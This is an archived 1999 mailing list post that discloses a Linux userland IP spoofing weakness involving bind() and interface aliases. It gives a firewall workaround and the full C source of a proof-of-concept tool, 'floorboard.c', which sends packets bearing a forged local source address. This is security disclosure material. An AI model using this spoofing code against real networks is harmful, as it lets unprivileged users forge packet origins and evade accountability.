Vulnerability Development mailing list archives
linux userland ip spoofing vulnerability
From: drai2.geo () YAHOO COM (Boo Hampshire)
Date: Wed, 27 Oct 1999 07:14:01 +1000
There is code + documentation attached. This works on linux 2.2.13 and is not related to the ip source forging with pppd. This works on systems with poor/no firewall setup, pppd + shell users. It can forge a source address (on your local ethernet sent over ppp interface). This bug is caused by bind() in the kernel allowing you to send off another interface. No fix available but a workaround is to use your firewall to deny packets that don't belong on a given interface (ipfwadm -W option, or whatever ipchains is). /************************************ floorboard.c (note: when I refer to vhost, i mean virtual hosting, ip aliases, or whatever). I started off writing this source because I'm working on the Gemini IRCD, which is basically going to replace Xnet's IRCD and I stumbled across something really stupid. Basically it was this: You could bind to a vhost and send packets with that vhost IP. This is the wonderful behaviour called "virtual hosting". Alot of IRC users no doubt have access to shells containing a "virtual host" such as "I.am.too.good.to.be.elite.com." What many don't realise, is that this could be used to "spoof" under Linux without superuser priv's. For example, at home, with a LAN, IP Address of 10.0.0.1 on eth0. and a modem. Let's assume "dialup" has the IP of 203.x.x.x. (ppp0) Use the system call bind() and use the IP of 10.0.0.1. (eth0) Send the udp packets out to host, say, 203.x.x.9. (via ppp0) Linux changes my IP to 10.0.0.1 (eth0) (as it should with vhost) The user at 203.x.x.9 receives packets from 10.0.0.1 Do you see the problem now? Almost anyone who has linux on a LAN can have their users spoof of the IP of 10.0.0.1 without root. This isn't a major problem. But what if you configured your network card differently and somehow this leads up to a different sort of problem? This is probably not a major bug or an exploit, or maybe it was the intention of "virtual hosting", but it does show that logic may be needed in the way Linux and vhost/virtual hosting (also known as network ip aliases) is treated. Final note: Whether this runs/works on anything other than Linux is not known. It is quite possible this exploit/bug works on every other platform out there, including Windows? I'm leaving it at that, because it was, after all, meant to be a an ircd socket library.. By the way, this source is licensed to you under GNU GPL, the latest version. e.g. ./floorboard target_ip any_port -v 10.0.0.1 any_port_greater_than_1024 -u works in linux 2.0.36 (redhat 4.2), 2.2.5-* (redhat 6.0), 2.2.13 (redhat 6.0) and possibly any other kernels on systems with poor or no firewall controls. -- Dr/icebsd drai2.geo () yahoo com http://www.2600.org.au Thanks to: nyisles for letting me make sure i was spoofing packets and not just finding an error in tcpdump -i ppp0... and Pyros for being the gimp that he is. and Pho!@#$!@!@$#!$ fjear his eleet te(how do you spell technique?) ************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netdb.h> /* for gethostbyname() */ /* for connect()/socket() */ #include <sys/types.h> #include <sys/socket.h> /* for inet_aton, inet_ntoa, htons()/ntohs(), htonl() */ #include <netinet/in.h> #include <arpa/inet.h> typedef int SOCKET; #define DEBUG #define TCP_CONNECT 1 #define UDP_CONNECT 2 /* bind a socket to port/hostname .. hostname may be null, in which case it uses INADDR_ANY.. returns -1 on fail or 0 on success */ /* Note: binding to port 0 means the same as INADDR_ANY except its for ports (sort of useful to bind a host without a port) */ int bind_sock(SOCKET sock, char *host, int port) { struct sockaddr_in server; struct hostent *hent; memset(&server, 0, sizeof(server)); server.sin_port = htons(port); server.sin_family = AF_INET; /* find hostname or use INADDR_ANY */ if (host != NULL) { if (find_hostname(&server, host) == -1) { return -1; } } else { server.sin_addr.s_addr = INADDR_ANY; } if (bind(sock, (struct sockaddr*) &server, sizeof(struct sockaddr_in)) == -1) { perror("bind"); return -1; } return 0; } /* find_hostname(), uses gethostbyname() to put the details into *serv, finding *host... returns -1 on fail, 0 on success*/ int find_hostname(struct sockaddr_in *serv, char *host) { struct hostent *hent; struct sockaddr_in server; int i; char *p; #ifdef DEBUG struct in_addr in; printf("Finding host: %s\n", host); #endif memset(&server, 0, sizeof(server)); if (!inet_aton(host, &server.sin_addr)) { if ((hent = gethostbyname(host))) { memcpy(&server.sin_addr.s_addr, hent->h_addr_list[0], hent->h_length); #ifdef DEBUG printf("Official name of host: %s\n", hent->h_name); for (i = 0, p = hent->h_aliases[0]; p != NULL; p=hent->h_aliases[++i]) { printf("Alias (for host: %s): %s\n", host, p); } for (i = 0, p = hent->h_addr_list[0]; p != NULL; p=hent->h_addr_list[++i]) { memcpy(&in.s_addr, p, hent->h_length); printf("IP aliases: %s\n",inet_ntoa(in)); } #endif } else { herror(host); return -1; } } #ifdef DEBUG printf("Found host\n"); #endif memcpy(&(serv->sin_addr), &server.sin_addr, sizeof(struct in_addr)); return 0; } /* make a connection using the socket, host and port ... returns -1 on fail, the socket (sock) on success */ SOCKET make_connect(SOCKET sock, char *host, int port) { struct sockaddr_in server; if (port < 0) { printf("Invalid port number\n"); return -1; } memset(&server, 0, sizeof(server)); server.sin_port = htons(port); server.sin_family = AF_INET; /* find hostname */ if (find_hostname(&server, host) == -1) { return -1; } /* make connection */ if (connect(sock, (struct sockaddr *) &server, sizeof(struct sockaddr_in)) == -1) { return -1; } return sock; } /* forces the program to create a socket using socket() and dies if that fails.. */ SOCKET make_socket(int type, int protocol) { SOCKET sock; /* create socket */ sock = socket(AF_INET, type, protocol); if (sock == -1) { perror("socket"); exit(1); } return sock; } /* make a tcp/udp connection, and bind the socket to a port if (vport) exists */ SOCKET connect_sock(SOCKET sock, char *host, int port, char *vhost, char *vport) { /* bind_sock() doesn't need to be checked, since it has its own error messages using herror() .. and it isn't crucial so we dont need to die on it. */ if (vport) { if (vhost) bind_sock(sock, vhost, atoi(vport)); else bind_sock(sock, NULL, atoi(vport)); } if (make_connect(sock, host, port) == -1) { perror("connect"); close(sock); exit(1); /* die */ } return sock; } SOCKET connect_tcp(char *host, int port, char *vhost, char *vport) { SOCKET sock; sock = make_socket(SOCK_STREAM, IPPROTO_IP); return connect_sock(sock, host, port, vhost, vport); } SOCKET connect_udp(char *host, int port, char *vhost, char *vport) { SOCKET sock; sock = make_socket(SOCK_DGRAM, IPPROTO_IP); return connect_sock(sock, host, port, vhost, vport); } void check_param(char *s, char *option) { if (s == NULL) { printf("ERROR %s: You didn't specify enough parameters for this \ option!\n", option); exit(1); } } void main(int argc, char **argv) { SOCKET sock; int connected = 0; int i; char *vhost=NULL, *vport=NULL; char *host; int port; int connecttype = TCP_CONNECT; if (argc < 3) { printf("Usage: %s <host> <port> [options]\n", argv[0]); printf("Pre-connect options\n"); printf("-v <host> <port> bind to <vhost> and <port>\n"); printf("-b <port> bind to <port>\n"); printf("\n\n"); printf("Connect options\n"); printf("-t for tcp connect (default)\n"); printf("-u for udp connect\n"); printf("\n\n"); printf("You can only have one pre-connect and one connect \ option\n"); exit(1); } i = 3; /* start from the 3rd parameter */ if (argc >= 4) { while (argv[i] != NULL) { switch (argv[i][1]) { case 'u': case 'U': connecttype = UDP_CONNECT; break; case 't': case 'T': connecttype = TCP_CONNECT; break; case 'v': case 'V': i++; vhost = argv[i++]; check_param(vhost, "-v"); vport = argv[i]; check_param(vport, "-v"); break; case 'b': case 'B': i++; vport = argv[i]; check_param(vport, "-b"); break; default: printf("Unknown option: %s\n", argv[i]); exit(1); } i++; } } host = argv[1]; port = atoi(argv[2]); if (connecttype == TCP_CONNECT) sock = connect_tcp(host, port, vhost, vport); else sock = connect_udp(host, port, vhost, vport); printf("Press return to send packets...\n"); fflush(stdout); getchar(); while (1) { sleep(1); send (sock, "test", 4, 0); } close(sock); exit(0); }
Current thread:
- Re: Accessing IE/Netscape incomming data, (continued)
- Re: Accessing IE/Netscape incomming data Trevor Schroeder (Oct 26)
- Re: Accessing IE/Netscape incomming data CyberPsychotic (Oct 26)
- AIM 3.0 Paul Keefer (Oct 28)
- Re: AIM 3.0 Aviram Jenik (Oct 28)
- Re: AIM 3.0 Blue Boar (Oct 30)
- Re: AIM 3.0 Daniel Reed (Oct 30)
- Re: AIM 3.0 Robert A. Seace (Oct 30)
- Re: AIM 3.0 Usman (Oct 31)
- Re: AIM 3.0 esl (Oct 31)
- Re: Accessing IE/Netscape incomming data Trevor Schroeder (Oct 26)
- Stealth executables (clarified) Brad Griffin (Oct 27)
- Re: linux userland ip spoofing vulnerability CyberPsychotic (Oct 26)
- Re: linux userland ip spoofing vulnerability Simple Nomad (Oct 27)
- Re: linux userland ip spoofing vulnerability Alan Cox (Oct 27)
- Re: linux userland ip spoofing vulnerability dave (Oct 27)